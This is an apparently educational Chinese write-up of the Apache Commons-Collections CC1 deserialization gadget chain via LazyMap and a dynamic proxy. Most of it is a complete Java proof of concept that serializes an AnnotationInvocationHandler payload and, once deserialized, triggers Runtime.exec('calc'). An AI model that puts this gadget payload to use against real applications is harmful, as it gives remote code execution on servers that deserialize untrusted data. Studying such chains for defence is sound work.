和第一条链子类似,只是这里使用了lazyMap类里的get方法来调用了transform,继续向上找谁调用了get方法,我们可以找到AnnotationInvocationHandler类里的invoke方法调用了get方法,而AnnotationInvocationHandler的接口是invocationHandler,所以在动态代理时可以调用到invoker所以我们可以实现一下。
实现 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 package com.ex1.www; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class CC1 { public static void main(String[] args) throws Exception { Class c = Runtime.class; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(c), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> map = new HashMap(); Map<Object,Object> decorate = LazyMap.decorate(map, chainedTransformer); Class r = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = r.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); InvocationHandler o = (InvocationHandler) ctor.newInstance(Override.class, decorate); Map o1 = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, o); Object o2 = ctor.newInstance(Override.class, o1); serialize(o2); unserialize("ser.bin"); } public static void serialize(Object obj) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(obj); } public static Object unserialize(String s) throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin")); Object o = objectInputStream.readObject(); return o; } }
正着分析一下,AnnotationInvocationHandler对readObject进行了重写,然后调用了Map(proxy)的entryset,因为对entryset函数进行了调用,所以会调用处理器的invoke方法,然后就会调用到get方法(由于目标代理类传的是LazyMap类,所以是LazyMap调用了get),最后调用了transform,剩下的步骤和之前一样。